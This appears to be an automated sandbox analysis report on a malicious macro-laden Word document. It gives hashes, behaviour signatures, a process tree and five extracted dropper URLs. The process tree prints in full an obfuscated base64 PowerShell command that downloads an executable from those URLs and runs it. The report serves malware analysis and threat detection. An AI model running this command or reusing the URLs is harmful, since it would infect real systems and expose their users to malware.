Analysis

  • max time kernel
    107s
  • max time network
    53s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    01-07-2022 06:58

General

  • Target

    8a35c1865bac08d865b42f376b27091b3abce6a9c261daacce084dcf6f7b73e3.doc

  • Size

    233KB

  • MD5

    20dc70286bf91c3b45dd754e94508676

  • SHA1

    3aeca0f5f335718adf5d62b61098cf57974f2dd1

  • SHA256

    8a35c1865bac08d865b42f376b27091b3abce6a9c261daacce084dcf6f7b73e3

  • SHA512

    868ed81d5153024d990c19a7918785e6dba151b12fee104f4d00d3c27a345cb08f50c8c7602ef01e076918d4f9ae9fa57cb221353c013d31babf4928c0074e35

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://bayboratek.com/28032019yedek/fd_2/

exe.dropper

http://client.ideatech.pk/wp-content/3_d/

exe.dropper

http://fabric-ville.net/2017/y_J/

exe.dropper

http://hadiyaacoub.com/wp-content/uploads/2019/Mj_W/

exe.dropper

http://himatika.mipa.uns.ac.id/wp-content/By_2/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\8a35c1865bac08d865b42f376b27091b3abce6a9c261daacce084dcf6f7b73e3.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2004
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1924
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e JABZAFEARABBAFoAUQBBAEEAPQAoACIAewAwAH0AewAxAH0AewAyAH0AIgAgAC0AZgAnAHUAJwAsACcAQgBRAEEAYwAnACwAJwBEAEMARAAnACkAOwAkAE0AVQBCADEAdwBBAD0ATgBgAGUAdwAtAGAAbwBiAEoARQBDAFQAIAAoACcATgBlAHQAJwArACcALgBXAGUAYgAnACsAJwBDAGwAaQBlAG4AdAAnACkAOwAkAGIAQwBRAEEARwBHAFUAPQAoACIAewAyADcAfQB7ADEANQB9AHsAMwA3AH0AewAxADgAfQB7ADQAMwB9AHsAMwAyAH0AewAzADkAfQB7ADUAMAB9AHsAMgAyAH0AewA0AH0AewAxADEAfQB7ADIANgB9AHsAMgAwAH0AewA5AH0AewA1ADMAfQB7ADMAMwB9AHsAMQAyAH0AewA1ADQAfQB7ADIAMwB9AHsAMQA5AH0AewAzADUAfQB7ADIANQB9AHsANAA0AH0AewA1ADYAfQB7ADAAfQB7ADUAMgB9AHsAMwB9AHsAMQA2AH0AewA2AH0AewAxAH0AewA1ADcAfQB7ADEANAB9AHsANQA1AH0AewAxADAAfQB7ADQAOQB9AHsANQB9AHsAMgAxAH0AewAzADgAfQB7ADQANQB9AHsANAA2AH0AewAxADcAfQB7ADIAOQB9AHsANAA3AH0AewA0ADAAfQB7ADUAMQB9AHsANAA4AH0AewAzADEAfQB7ADQAMQB9AHsAMwA0AH0AewA4AH0AewA3AH0AewAxADMAfQB7ADMAMAB9AHsAMwA2AH0AewAyADQAfQB7ADQAMgB9AHsAMgA4AH0AewAyAH0AIgAgAC0AZgAgACcAYQBiAHIAJwAsACcALgAnACwAJwB5AF8AMgAvACcALAAnAGkAJwAsACcAZQBrAC4AYwBvACcALAAnAEAAaAB0AHQAcAAnACwAJwBlACcALAAnAHQAJwAsACcAagBfAFcALwBAAGgAJwAsACcAMwAyADAAMQA5AHkAZQBkAGUAawAvAGYAZABfADIALwBAAGgAdAB0AHAAOgAvAC8AJwAsACcAeQAnACwAJwBtAC8AJwAsACcALgBpAGQAJwAsACcAdAAnACwAJwAxADcAJwAsACcAdAAnACwAJwBsAGwAJwAsACcAdQBiAC4AYwAnACwAJwA6ACcALAAnAG8AJwAsACcAMAAnACwAJwA6AC8ALwBoAGEAJwAsACcAdAAnACwAJwBhAHQAZQBjAGgALgBwAGsALwB3AHAALQBjACcALAAnAHQAaQBrAGEALgBtAGkAJwAsACcALwAzAF8AZAAnACwAJwAyADgAJwAsACcAaAAnACwAJwBlAG4AdAAvAEIAJwAsACcAbwBtACcALAAnAHAAOgAvAC8AaAAnACwAJwBsAG8AYQBkAHMALwAyADAAMQAnACwAJwAvACcALAAnAG4AdAAnACwAJwBNACcALAAnAG4AdABlAG4AdAAnACwAJwBpAG0AYQAnACwAJwB0AHAAJwAsACcAZABpACcALAAnAGIAYQB5AGIAbwAnACwAJwB0ACcALAAnADkALwAnACwAJwBwAGEALgB1AG4AcwAuAGEAYwAuAGkAZAAvAHcAcAAtAGMAbwBuAHQAJwAsACcALwAnACwAJwAvAEAAaAB0AHQAJwAsACcAeQBhAGEAJwAsACcAYwBvACcALAAnAC8AdwBwAC0AYwBvAG4AdABlAG4AJwAsACcAdQBwACcALAAnAF8ASgAvACcALAAnAHIAYQAnACwAJwAvACcALAAnAGkAYwAtAHYAJwAsACcAYwBsAGkAZQAnACwAJwBlACcALAAnAC8AJwAsACcAcAA6AC8ALwBmACcALAAnAG4AZQB0AC8AMgAwACcAKQAuACIAUwBwAGAATABJAHQAIgAoACcAQAAnACkAOwAkAGkAVQBvAEMAeABCAD0AKAAiAHsAMAB9AHsAMQB9ACIALQBmACAAJwByAHcAJwAsACcAQQBYAHgAeAAnACkAOwAkAHoAbwBfAFgAVQBBAFoANAAgAD0AIAAnADMAMwAnADsAJABCAEcAWABBAEEARwBDAG8APQAoACIAewAxAH0AewAwAH0AIgAtAGYAIAAnAFEAawA0ACcALAAnAG0AdwBBACcAKQA7ACQAdwBBAEEAQwA0AEQAYwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAegBvAF8AWABVAEEAWgA0ACsAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAJwAuAGUAeAAnACwAJwBlACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAGgAQQBBAEMAVQBBAHgAQQAgAGkAbgAgACQAYgBDAFEAQQBHAEcAVQApAHsAdAByAHkAewAkAE0AVQBCADEAdwBBAC4AIgBkAG8AVwBuAEwATwBhAEQARgBgAGkAYABMAGUAIgAoACQAaABBAEEAQwBVAEEAeABBACwAIAAkAHcAQQBBAEMANABEAGMAKQA7ACQAbwBvAEEAQQBHADQAPQAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAgACcAUQBVACcALAAnAEQAQQBHAEEAJwApADsASQBmACAAKAAoAEcAZQBUAGAALQBJAFQAYABFAE0AIAAkAHcAQQBBAEMANABEAGMAKQAuACIATABFAE4AYABnAGAAVABIACIAIAAtAGcAZQAgADQAMAAwADAAMAApACAAewBpAGAATgBWAE8AawBFAC0AYABJAFQARQBNACAAJAB3AEEAQQBDADQARABjADsAJAB3AFUAQQBVAFoAeAA9ACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACcAcwBaAEEAQQAnACwAJwBRAF8AJwApADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEwAQQB3AEEAQQA0AHgAPQAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAnAEUAJwAsACcANAB4AFgAQQBRACcAKQA7AA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1808

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1808-80-0x000007FEF3E60000-0x000007FEF4883000-memory.dmp

      Filesize

      10.1MB

    • memory/1808-88-0x000000000242B000-0x000000000244A000-memory.dmp

      Filesize

      124KB

    • memory/1808-87-0x000000000242B000-0x000000000244A000-memory.dmp

      Filesize

      124KB

    • memory/1808-86-0x0000000002424000-0x0000000002427000-memory.dmp

      Filesize

      12KB

    • memory/1808-85-0x000000000242B000-0x000000000244A000-memory.dmp

      Filesize

      124KB

    • memory/1808-83-0x000000001B710000-0x000000001BA0F000-memory.dmp

      Filesize

      3.0MB

    • memory/1808-81-0x000007FEF3300000-0x000007FEF3E5D000-memory.dmp

      Filesize

      11.4MB

    • memory/1808-82-0x0000000002424000-0x0000000002427000-memory.dmp

      Filesize

      12KB

    • memory/1924-60-0x000007FEFBA41000-0x000007FEFBA43000-memory.dmp

      Filesize

      8KB

    • memory/2004-54-0x0000000072531000-0x0000000072534000-memory.dmp

      Filesize

      12KB

    • memory/2004-61-0x00000000005D5000-0x00000000005D9000-memory.dmp

      Filesize

      16KB

    • memory/2004-66-0x00000000005D5000-0x00000000005D9000-memory.dmp

      Filesize

      16KB

    • memory/2004-67-0x00000000005D5000-0x00000000005D9000-memory.dmp

      Filesize

      16KB

    • memory/2004-62-0x00000000005D5000-0x00000000005D9000-memory.dmp

      Filesize

      16KB

    • memory/2004-63-0x00000000005D5000-0x00000000005D9000-memory.dmp

      Filesize

      16KB

    • memory/2004-65-0x00000000005D5000-0x00000000005D9000-memory.dmp

      Filesize

      16KB

    • memory/2004-64-0x00000000005D5000-0x00000000005D9000-memory.dmp

      Filesize

      16KB

    • memory/2004-73-0x00000000005D5000-0x00000000005D9000-memory.dmp

      Filesize

      16KB

    • memory/2004-84-0x0000000070F9D000-0x0000000070FA8000-memory.dmp

      Filesize

      44KB

    • memory/2004-58-0x0000000076191000-0x0000000076193000-memory.dmp

      Filesize

      8KB

    • memory/2004-57-0x0000000070F9D000-0x0000000070FA8000-memory.dmp

      Filesize

      44KB

    • memory/2004-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2004-55-0x000000006FFB1000-0x000000006FFB3000-memory.dmp

      Filesize

      8KB

    • memory/2004-89-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2004-90-0x0000000070F9D000-0x0000000070FA8000-memory.dmp

      Filesize

      44KB